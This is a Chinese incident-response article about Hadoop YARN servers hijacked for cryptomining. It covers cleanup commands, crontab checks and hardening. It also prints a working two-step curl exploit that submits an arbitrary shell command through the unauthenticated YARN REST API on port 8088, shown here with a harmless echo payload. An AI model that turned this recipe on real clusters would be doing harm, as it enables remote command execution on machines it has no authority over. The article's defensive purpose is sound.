服务器被挖矿后如何排查处理

挖矿会使服务器硬件资源,如:CPU、内存消耗极大,但是一般运维人员处理挖矿攻击时最头疼的就是处理不干净,其实挖矿攻击能够成功主要方式是通过服务器安装的第三方工具内在的对外RestAPI进行的,这些第三方工具如果API存在漏洞就会很大程度被黑客攻击利用开放的端口进行攻击

攻击步骤:

1.申请新的application

直接通过curl进行POST请求

curl -v -X POST 'http://ip:8088/ws/v1/cluster/apps/new-application'

返回内容类似于:

{"application-id":"application_1527144634877_20465","maximum-resource-capability":{"memory":16384,"vCores":8}}  

2.构造并提交任务

构造json文件1.json,内容如下,其中application-id对应上面得到的id,命令内容为尝试在/var/tmp目录下创建11112222_test_111122222文件,内容也为111:

{  
    "am-container-spec":{  
        "commands":{  
            "command":"echo '111' > /var/tmp/11112222_test_11112222"

        }  
    },  
    "application-id":"application_1527144634877_20465",  
    "application-name":"test",  
    "application-type":"YARN"  
}  

然后直接

curl -s -i -X POST -H 'Accept: application/json' -H 'Content-Type: application/json' http://ip:8088/ws/v1/cluster/apps --data-binary @1.json

即可完成攻击,命令被执行,在相应目录下可以看到生成了对应文件

 

处理方式:

1.pkill -f cryptonight  
2.pkill -f sustes  
3.pkill -f xmrig  
4.pkill -f xmr-stak  
5.pkill -f suppoie  
6.ps ax | grep "config.json -t" | grep -v grep | awk '{print $1}' | xargs kill -9  
7.ps ax | grep 'wc.conf\|wq.conf\|wm.conf\|wt.conf' | grep -v grep | grep 'ppl\|pscf\|ppc\|ppp' | awk '{print $1}' | xargs kill -9  
8.rm -rf /var/tmp/pscf*  
9.rm -rf /tmp/pscf*

 

清理病毒

  1. 使用top查看进程,kill掉异常进程
  2. 检查/tmp和/var/tmp目录,删除java、ppc、w.conf等异常文件
  3. 检查crontab任务列表,删除异常任务
  4. 排查YARN日志,确认异常的application,删除处理

 

安全加固

  1. 通过iptables或者安全组配置访问策略,限制对8088等端口的访问
  2. 如无必要,不要将接口开放在公网,改为本地或者内网调用
  3. 升级Hadoop到2.x版本以上,并启用Kerberos认证功能,禁止匿名访问
  4. 云镜当前已支持该漏洞检测,同时也支持挖矿木马的发现,建议安装云镜并开通专业版,及时发现漏洞并修复或者在中马后能及时收到提醒进行止损

 

最后查看/var/spool/cron/crontabs/root 定时任务是否被串改

你可能感兴趣的:(服务器监控,安全,Linux)